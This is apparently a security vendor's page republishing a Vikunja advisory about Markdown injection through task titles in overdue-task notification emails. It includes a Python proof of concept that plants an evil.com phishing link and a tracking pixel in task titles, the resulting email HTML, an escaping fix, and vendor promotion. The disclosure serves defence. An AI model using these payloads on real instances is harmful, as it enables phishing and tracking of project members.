GHSA-45q4-x4r9-8fqj is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in code.vikunja.io/api. O3 Security confirms whether GHSA-45q4-x4r9-8fqj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vikunja has HTML Injection via Task Titles in Overdue Email Notifications
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Details
The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:
overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`
The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.
The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.
Proof of Concept
Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": 'test](https://evil.com) [Click to verify your account',
"due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": '',
"due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
"email_reminders_enabled": True,
"overdue_tasks_reminders_enabled": True,
"overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the email
The overdue notification email HTML contains:
<li>
<a href="https://evil.com">test</a>
<a href="http://vikunja.example/tasks/5">Click to verify your account</a>
(Shared), since one day
</li>
<li>
<a href="http://vikunja.example/tasks/6">
<img src="https://evil.com/track.png?user=bob">
</a>
(Shared), since one day
</li>
The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.
Impact
An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.
Recommended Fix
Escape Markdown special characters in task titles before embedding them in Markdown content:
func escapeMarkdown(s string) string {
replacer := strings.NewReplacer(
"[", "\\[", "]", "\\]",
"(", "\\(", ")", "\\)",
"!", "\\!", "`", "\\`",
"*", "\\*", "_", "\\_",
"#", "\\#",
)
return replacer.Replace(s)
}
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-45q4-x4r9-8fqj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-45q4-x4r9-8fqj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-45q4-x4r9-8fqj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-45q4-x4r9-8fqj in your dependencies?
O3 detects GHSA-45q4-x4r9-8fqj across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.